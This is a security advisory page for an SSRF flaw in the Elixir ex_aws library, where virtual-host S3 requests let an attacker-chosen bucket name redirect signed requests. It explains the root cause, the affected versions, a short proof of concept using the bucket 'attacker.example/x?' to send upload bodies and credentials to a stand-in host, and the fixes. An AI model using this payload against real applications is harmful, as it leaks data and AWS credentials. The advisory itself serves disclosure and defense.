CVE-2026-120720: S3 bucket name controls the request host in ex_aws virtual-host requests

Published Nov 24, 2026
·
Updated

Summary

Server-Side Request Forgery (SSRF) vulnerability in ex-aws exaws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.

With virtualhost: true, ExAws.Operation.S3.addbuckettopath/2 in lib/exaws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucketashost: true the bucket is the whole hostname, so any valid hostname redirects the request.

This issue affects exaws: from 2.1.7 before 2.8.0.

Details

1. Host construction. In the virtualhost: true clause of ExAws.Operation.S3.addbuckettopath/2, the request host becomes "#{bucket}.#{host}". In the virtualhost: true, bucketashost: true clause it becomes the bucket name itself. Neither clause checks the bucket name.

2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.tostring/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney's parseurl/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.

3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS.

Proof of concept

1. Configure exaws for S3 with virtualhost: true. 2. Build an upload with an attacker-chosen bucket name: ExAws.S3.putobject("attacker.example/x?", "report.pdf", body). 3. addbuckettopath/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf. 4. ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf. 5. Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example.

Impact

An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.

Configurations

Reachable only when the S3 client is configured with virtualhost: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.

Solutions

Upgrading rejects bucket names containing characters that can change the request host. With bucketashost: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucketashost: true must also set the bucketashostallowlist S3 config option to the list of trusted hostnames.

Other sources

Server-Side Request Forgery (SSRF) vulnerability in ex-aws exaws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.

With virtualhost: true, ExAws.Operation.S3.addbuckettopath/2 in lib/exaws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucketashost: true the bucket is the whole hostname, so any valid hostname redirects the request.

This issue affects exaws: from 2.1.7 before 2.8.0.

— MITRE

Affected Software

2 affected componentsFixes available
hex/ex_aws>=2.1.7<2.8.0
erlang/ex_aws>=2.1.7<2.8.0
2.8.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade erlang/ex_aws to a version that resolves this vulnerability.

    Fixed in 2.8.0
  2. Upgrade

    Upgrade ex_aws to a version that resolves this vulnerability.

    Fixed in 2.8.0
  3. Configuration

    When using bucket_as_host: true with bucket names that are not fully controlled, set bucket_as_host_allowlist to the list of trusted hostnames.

    ex_aws S3 bucket_as_host_allowlist = list of trusted hostnames

Event History

Nov 24, 2026
CVE Published
via MITRE·12:17 PM
Data Sourced
via MITRE·12:17 PM
RemedyDescriptionWeakness
Data Sourced
via OSV·12:17 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·01:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are exposed?

Deployments using ex_aws versions from 2.1.7 before 2.8.0 are affected when they use virtual_host: true or bucket_as_host: true for S3 operations.

2

What does an attacker need to exploit this?

The attacker needs control over the S3 bucket name supplied to the application. With bucket_as_host: true, any valid hostname used as the bucket can redirect the request.

3

What can be exposed if exploitation succeeds?

The attacker can receive upload bodies, the access key ID, request signature, and any STS session token. They can also control the response that the application parses.

4

What should teams do if they cannot immediately upgrade?

Avoid using virtual_host: true and bucket_as_host: true with bucket names that an attacker can control. Upgrade ex_aws to 2.8.0 or later when possible.

5

How can I identify potentially affected usage?

Check whether the application uses an ex_aws version earlier than 2.8.0 and enables virtual_host: true or bucket_as_host: true. Prioritize paths where bucket names originate from users or other untrusted sources.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203